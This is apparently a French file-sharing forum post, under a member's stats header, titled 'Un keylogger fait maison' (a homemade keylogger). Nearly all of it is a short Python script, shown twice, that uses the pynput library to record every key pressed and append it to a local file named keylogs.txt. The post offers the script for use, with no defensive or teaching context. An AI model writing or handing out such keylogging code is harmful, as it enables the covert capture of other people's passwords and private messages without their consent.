Torrents Stats
- Partagées
- 130 Go
- Téléchargées
- 0 bytes
- Ratio
- -
- Messages
- 2
- J'aime
- 1
- Trophées
- 5
- Inscrit
- 30 Avril 2023
Un keylogger fait maison
from pynput.keyboard import Key, Listener
def on_press(key):
try:
f = open("keylogs.txt", "a")
f.write(str(key.char))
f.close()
except AttributeError:
f = open("keylogs.txt", "a")
f.write(str(key))
f.close()
with Listener(on_press=on_press) as listener:
listener.join()
from pynput.keyboard import Key, Listener
def on_press(key):
try:
f = open("keylogs.txt", "a")
f.write(str(key.char))
f.close()
except AttributeError:
f = open("keylogs.txt", "a")
f.write(str(key))
f.close()
with Listener(on_press=on_press) as listener:
listener.join()